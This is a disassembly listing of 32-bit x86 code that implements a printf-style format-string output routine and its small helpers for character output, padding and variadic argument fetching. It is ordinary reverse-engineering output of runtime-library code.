; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41461C	proc near		; CODE XREF: sub_411EEE+29p
					; sub_41246A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_414D35
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_414650
; ---------------------------------------------------------------------------


loc_414648:				; CODE XREF: sub_41461C+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_414650:				; CODE XREF: sub_41461C+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_414D35
		cmp	bl, 20h
		jl	short loc_414671
		cmp	bl, 78h
		jg	short loc_414671
		movsx	eax, bl
		mov	al, [eax+41D65Ch]
		and	eax, 0Fh
		jmp	short loc_414673
; ---------------------------------------------------------------------------


loc_414671:				; CODE XREF: sub_41461C+40j
					; sub_41461C+45j
		xor	eax, eax


loc_414673:				; CODE XREF: sub_41461C+53j
		movsx	eax, byte_41D67C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_414D24	; default
		jmp	off_414D3D[eax*4] ; switch jump


loc_414691:				; DATA XREF: .nsp0:off_414D3Do
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041468A case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_4146AC:				; CODE XREF: sub_41461C+6Ej
					; DATA XREF: .nsp0:off_414D3Do
		movsx	eax, bl		; jumptable 0041468A case 2
		sub	eax, 20h
		jz	short loc_4146EF
		sub	eax, 3
		jz	short loc_4146E6
		sub	eax, 8
		jz	short loc_4146DD
		dec	eax
		dec	eax
		jz	short loc_4146D4
		sub	eax, 3
		jnz	loc_414D24	; default
		or	[ebp+var_4], 8
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_4146D4:				; CODE XREF: sub_41461C+A4j
		or	[ebp+var_4], 4
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_4146DD:				; CODE XREF: sub_41461C+A0j
		or	[ebp+var_4], 1
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_4146E6:				; CODE XREF: sub_41461C+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_4146EF:				; CODE XREF: sub_41461C+96j
		or	[ebp+var_4], 2
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_4146F8:				; CODE XREF: sub_41461C+6Ej
					; DATA XREF: .nsp0:off_414D3Do
		cmp	bl, 2Ah		; jumptable 0041468A case 3
		jnz	short loc_414720
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_414DFB
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_414D24	; default
		or	[ebp+var_4], 4
		neg	eax


loc_414718:				; CODE XREF: sub_41461C+111j
		mov	[ebp+var_20], eax
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_414720:				; CODE XREF: sub_41461C+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_414718
; ---------------------------------------------------------------------------


loc_41472F:				; CODE XREF: sub_41461C+6Ej
					; DATA XREF: .nsp0:off_414D3Do
		mov	[ebp+var_10], edx ; jumptable 0041468A case 4
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_414737:				; CODE XREF: sub_41461C+6Ej
					; DATA XREF: .nsp0:off_414D3Do
		cmp	bl, 2Ah		; jumptable 0041468A case 5
		jnz	short loc_41475A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_414DFB
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_414D24	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_41475A:				; CODE XREF: sub_41461C+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_41476C:				; CODE XREF: sub_41461C+6Ej
					; DATA XREF: .nsp0:off_414D3Do
		cmp	bl, 49h		; jumptable 0041468A case 6
		jz	short loc_41479F
		cmp	bl, 68h
		jz	short loc_414796
		cmp	bl, 6Ch
		jz	short loc_41478D
		cmp	bl, 77h
		jnz	loc_414D24	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_41478D:				; CODE XREF: sub_41461C+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_414796:				; CODE XREF: sub_41461C+158j
		or	[ebp+var_4], 20h
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_41479F:				; CODE XREF: sub_41461C+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4147B8
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4147B8
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_4147B8:				; CODE XREF: sub_41461C+186j
					; sub_41461C+18Cj
		mov	[ebp+var_30], edx


loc_4147BB:				; CODE XREF: sub_41461C+6Ej
					; DATA XREF: .nsp0:off_414D3Do
		mov	ecx, off_4314B0	; jumptable 0041468A case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_4147E7
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_414D5D
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_4147E7:				; CODE XREF: sub_41461C+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_414D5D
		add	esp, 0Ch
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_4147FF:				; CODE XREF: sub_41461C+6Ej
					; DATA XREF: .nsp0:off_414D3Do
		movsx	eax, bl		; jumptable 0041468A case 7
		cmp	eax, 67h
		jg	loc_414A27
		cmp	eax, 65h
		jge	loc_4148AA
		cmp	eax, 58h
		jg	loc_414908
		jz	loc_414A9B
		sub	eax, 43h
		jz	loc_4148CB
		dec	eax
		dec	eax
		jz	short loc_4148A0
		dec	eax
		dec	eax
		jz	short loc_4148A0
		sub	eax, 0Ch
		jnz	loc_414C26
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_414849
		or	byte ptr [ebp+var_4+1],	8


loc_414849:				; CODE XREF: sub_41461C+227j
					; sub_41461C+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_414856
		mov	esi, 7FFFFFFFh


loc_414856:				; CODE XREF: sub_41461C+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_414DFB
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_414A6F
		test	ecx, ecx
		jnz	short loc_41487E
		mov	ecx, off_4314AC
		mov	[ebp+var_8], ecx


loc_41487E:				; CODE XREF: sub_41461C+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_414887:				; CODE XREF: sub_41461C+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_414A66
		cmp	word ptr [eax],	0
		jz	loc_414A66
		inc	eax
		inc	eax
		jmp	short loc_414887
; ---------------------------------------------------------------------------


loc_4148A0:				; CODE XREF: sub_41461C+212j
					; sub_41461C+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4148AA:				; CODE XREF: sub_41461C+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41498E
		mov	[ebp+var_10], 6
		jmp	loc_41499C
; ---------------------------------------------------------------------------


loc_4148CB:				; CODE XREF: sub_41461C+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4148D7
		or	byte ptr [ebp+var_4+1],	8


loc_4148D7:				; CODE XREF: sub_41461C+2B5j
					; sub_41461C+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41491E
		call	sub_414E18
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_419A5C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_414931
		mov	[ebp+var_28], 1
		jmp	short loc_414931
; ---------------------------------------------------------------------------


loc_414908:				; CODE XREF: sub_41461C+1FBj
		sub	eax, 5Ah
		jz	short loc_41493F
		sub	eax, 9
		jz	short loc_4148D7
		dec	eax
		jz	loc_414B01
		jmp	loc_414C26
; ---------------------------------------------------------------------------


loc_41491E:				; CODE XREF: sub_41461C+2C5j
		call	sub_414DFB
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_414931:				; CODE XREF: sub_41461C+2E1j
					; sub_41461C+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_414C26
; ---------------------------------------------------------------------------


loc_41493F:				; CODE XREF: sub_41461C+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_414DFB
		test	eax, eax
		pop	ecx
		jz	short loc_414980
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_414980
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_414971
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_414C26
; ---------------------------------------------------------------------------


loc_414971:				; CODE XREF: sub_41461C+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_414C23
; ---------------------------------------------------------------------------


loc_414980:				; CODE XREF: sub_41461C+32Fj
					; sub_41461C+336j
		mov	eax, off_4314A8
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_414A1C
; ---------------------------------------------------------------------------


loc_41498E:				; CODE XREF: sub_41461C+29Dj
		jnz	short loc_41499C
		cmp	bl, 67h
		jnz	short loc_41499C
		mov	[ebp+var_10], 1


loc_41499C:				; CODE XREF: sub_41461C+2AAj
					; sub_41461C:loc_41498Ej ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_4317E8
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_4149EE
		cmp	[ebp+var_10], 0
		jnz	short loc_4149EE
		lea	eax, [ebp+var_248]
		push	eax
		call	off_4317F4
		pop	ecx


loc_4149EE:				; CODE XREF: sub_41461C+3BCj
					; sub_41461C+3C2j
		cmp	bl, 67h
		jnz	short loc_414A05
		test	esi, esi
		jnz	short loc_414A05
		lea	eax, [ebp+var_248]
		push	eax
		call	off_4317EC
		pop	ecx


loc_414A05:				; CODE XREF: sub_41461C+3D5j
					; sub_41461C+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_414A1B
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_414A1B:				; CODE XREF: sub_41461C+3F0j
		push	edi


loc_414A1C:				; CODE XREF: sub_41461C+36Dj
		call	sub_4126F0
		pop	ecx
		jmp	loc_414C23
; ---------------------------------------------------------------------------


loc_414A27:				; CODE XREF: sub_41461C+1E9j
		sub	eax, 69h
		jz	loc_414B01
		sub	eax, 5
		jz	loc_414AD7
		dec	eax
		jz	loc_414AC4
		dec	eax
		jz	short loc_414A94
		sub	eax, 3
		jz	loc_414849
		dec	eax
		dec	eax
		jz	loc_414B05
		sub	eax, 3
		jnz	loc_414C26
		mov	[ebp+var_2C], 27h
		jmp	short loc_414AA2
; ---------------------------------------------------------------------------


loc_414A66:				; CODE XREF: sub_41461C+270j
					; sub_41461C+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_414C23
; ---------------------------------------------------------------------------


loc_414A6F:				; CODE XREF: sub_41461C+24Fj
		test	ecx, ecx
		jnz	short loc_414A7C
		mov	ecx, off_4314A8
		mov	[ebp+var_8], ecx


loc_414A7C:				; CODE XREF: sub_41461C+455j
		mov	eax, ecx


loc_414A7E:				; CODE XREF: sub_41461C+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_414A8D
		cmp	byte ptr [eax],	0
		jz	short loc_414A8D
		inc	eax
		jmp	short loc_414A7E
; ---------------------------------------------------------------------------


loc_414A8D:				; CODE XREF: sub_41461C+467j
					; sub_41461C+46Cj
		sub	eax, ecx
		jmp	loc_414C23
; ---------------------------------------------------------------------------


loc_414A94:				; CODE XREF: sub_41461C+425j
		mov	[ebp+var_10], 8


loc_414A9B:				; CODE XREF: sub_41461C+201j
		mov	[ebp+var_2C], 7


loc_414AA2:				; CODE XREF: sub_41461C+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_414B0C
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_414B0C
; ---------------------------------------------------------------------------


loc_414AC4:				; CODE XREF: sub_41461C+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_414B0C
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_414B0C
; ---------------------------------------------------------------------------


loc_414AD7:				; CODE XREF: sub_41461C+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_414DFB
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_414AF0
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_414AF5
; ---------------------------------------------------------------------------


loc_414AF0:				; CODE XREF: sub_41461C+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_414AF5:				; CODE XREF: sub_41461C+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_414D24	; default
; ---------------------------------------------------------------------------


loc_414B01:				; CODE XREF: sub_41461C+2F7j
					; sub_41461C+40Ej
		or	[ebp+var_4], 40h


loc_414B05:				; CODE XREF: sub_41461C+432j
		mov	[ebp+var_C], 0Ah


loc_414B0C:				; CODE XREF: sub_41461C+491j
					; sub_41461C+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_414B1E
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_414E08
		pop	ecx
		jmp	short loc_414B5F
; ---------------------------------------------------------------------------


loc_414B1E:				; CODE XREF: sub_41461C+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_414B45
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_414B3A
		call	sub_414DFB
		pop	ecx
		movsx	eax, ax


loc_414B37:				; CODE XREF: sub_41461C+527j
					; sub_41461C+539j
		cdq
		jmp	short loc_414B5F
; ---------------------------------------------------------------------------


loc_414B3A:				; CODE XREF: sub_41461C+510j
		call	sub_414DFB
		pop	ecx
		movzx	eax, ax
		jmp	short loc_414B37
; ---------------------------------------------------------------------------


loc_414B45:				; CODE XREF: sub_41461C+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_414B57
		call	sub_414DFB
		pop	ecx
		jmp	short loc_414B37
; ---------------------------------------------------------------------------


loc_414B57:				; CODE XREF: sub_41461C+531j
		call	sub_414DFB
		pop	ecx
		xor	edx, edx


loc_414B5F:				; CODE XREF: sub_41461C+500j
					; sub_41461C+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_414B80
		test	edx, edx
		jg	short loc_414B80
		jl	short loc_414B6F
		test	eax, eax
		jnb	short loc_414B80


loc_414B6F:				; CODE XREF: sub_41461C+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_414B84
; ---------------------------------------------------------------------------


loc_414B80:				; CODE XREF: sub_41461C+547j
					; sub_41461C+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_414B84:				; CODE XREF: sub_41461C+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_414B8D
		and	edi, 0


loc_414B8D:				; CODE XREF: sub_41461C+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_414B9C
		mov	[ebp+var_10], 1
		jmp	short loc_414BA0
; ---------------------------------------------------------------------------


loc_414B9C:				; CODE XREF: sub_41461C+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_414BA0:				; CODE XREF: sub_41461C+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_414BAA
		and	[ebp+var_1C], 0


loc_414BAA:				; CODE XREF: sub_41461C+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_414BB0:				; CODE XREF: sub_41461C+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_414BC0
		mov	eax, esi
		or	eax, edi
		jz	short loc_414BFB


loc_414BC0:				; CODE XREF: sub_41461C+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_413B10
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_413B90
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_414BF1
		add	ebx, [ebp+var_2C]


loc_414BF1:				; CODE XREF: sub_41461C+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_414BB0
; ---------------------------------------------------------------------------


loc_414BFB:				; CODE XREF: sub_41461C+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_414C26
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_414C19
		test	eax, eax
		jnz	short loc_414C26


loc_414C19:				; CODE XREF: sub_41461C+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_414C23:				; CODE XREF: sub_41461C+35Fj
					; sub_41461C+406j ...
		mov	[ebp+var_C], eax


loc_414C26:				; CODE XREF: sub_41461C+21Bj
					; sub_41461C+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_414D24	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_414C5E
		test	bh, 1
		jz	short loc_414C43
		mov	[ebp+var_16], 2Dh
		jmp	short loc_414C57
; ---------------------------------------------------------------------------


loc_414C43:				; CODE XREF: sub_41461C+61Fj
		test	bl, 1
		jz	short loc_414C4E
		mov	[ebp+var_16], 2Bh
		jmp	short loc_414C57
; ---------------------------------------------------------------------------


loc_414C4E:				; CODE XREF: sub_41461C+62Aj
		test	bl, 2
		jz	short loc_414C5E
		mov	[ebp+var_16], 20h


loc_414C57:				; CODE XREF: sub_41461C+625j
					; sub_41461C+630j
		mov	[ebp+var_1C], 1


loc_414C5E:				; CODE XREF: sub_41461C+61Aj
					; sub_41461C+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_414C7E
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_414D92
		add	esp, 10h


loc_414C7E:				; CODE XREF: sub_41461C+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_414DC3
		add	esp, 10h
		test	bl, 8
		jz	short loc_414CB0
		test	bl, 4
		jnz	short loc_414CB0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_414D92
		add	esp, 10h


loc_414CB0:				; CODE XREF: sub_41461C+67Bj
					; sub_41461C+680j
		cmp	[ebp+var_24], 0
		jz	short loc_414CF7
		cmp	[ebp+var_C], 0
		jle	short loc_414CF7
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_414CC5:				; CODE XREF: sub_41461C+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_419A5C
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_414D0C
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_414DC3
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_414CC5
		jmp	short loc_414D0C
; ---------------------------------------------------------------------------


loc_414CF7:				; CODE XREF: sub_41461C+698j
					; sub_41461C+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_414DC3
		add	esp, 10h


loc_414D0C:				; CODE XREF: sub_41461C+6BCj
					; sub_41461C+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_414D24 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_414D92
		add	esp, 10h


loc_414D24:				; CODE XREF: sub_41461C+68j
					; sub_41461C+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_414648


loc_414D35:				; CODE XREF: sub_41461C+1Fj
					; sub_41461C+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41461C	endp

; ---------------------------------------------------------------------------
off_414D3D	dd offset loc_4147BB	; DATA XREF: sub_41461C+6Er
		dd offset loc_414691	; jump table for switch	statement
		dd offset loc_4146AC
		dd offset loc_4146F8
		dd offset loc_41472F
		dd offset loc_414737
		dd offset loc_41476C
		dd offset loc_4147FF

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D5D	proc near		; CODE XREF: sub_41461C+1BDp
					; sub_41461C+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_414D76
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_414D81
; ---------------------------------------------------------------------------


loc_414D76:				; CODE XREF: sub_414D5D+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_414507
		pop	ecx
		pop	ecx


loc_414D81:				; CODE XREF: sub_414D5D+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_414D8E
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414D8E:				; CODE XREF: sub_414D5D+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_414D5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_414D92	proc near		; CODE XREF: sub_41461C+65Ap
					; sub_41461C+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_414DC0
		mov	esi, [esp+8+arg_C]


loc_414DA3:				; CODE XREF: sub_414D92+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_414D5D
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_414DC0
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_414DA3


loc_414DC0:				; CODE XREF: sub_414D92+Bj
					; sub_414D92+25j
		pop	edi
		pop	esi
		retn
sub_414D92	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DC3	proc near		; CODE XREF: sub_41461C+670p
					; sub_41461C+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_414DF7
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_414DD9:				; CODE XREF: sub_414DC3+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_414D5D
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_414DF7
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_414DD9


loc_414DF7:				; CODE XREF: sub_414DC3+Cj
					; sub_414DC3+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_414DC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DFB	proc near		; CODE XREF: sub_41461C+E5p
					; sub_41461C+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_414DFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E08	proc near		; CODE XREF: sub_41461C+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_414E08	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E18	proc near		; CODE XREF: sub_41461C+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_414E18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E26	proc near		; CODE XREF: sub_4123D4+17p
					; sub_4123D4+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_414E44
		mov	ecx, off_4314B0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_414E96
; ---------------------------------------------------------------------------


loc_414E44:				; CODE XREF: sub_414E26+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_4314B0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_414E69
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_414E72
; ---------------------------------------------------------------------------


loc_414E69:				; CODE XREF: sub_414E26+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_414E72:				; CODE XREF: sub_414E26+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	loc_419AC4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_414E92
		leave
		retn
; ---------------------------------------------------------------------------


loc_414E92:				; CODE XREF: sub_414E26+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_414E96:				; CODE XREF: sub_414E26+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_414E26	endp


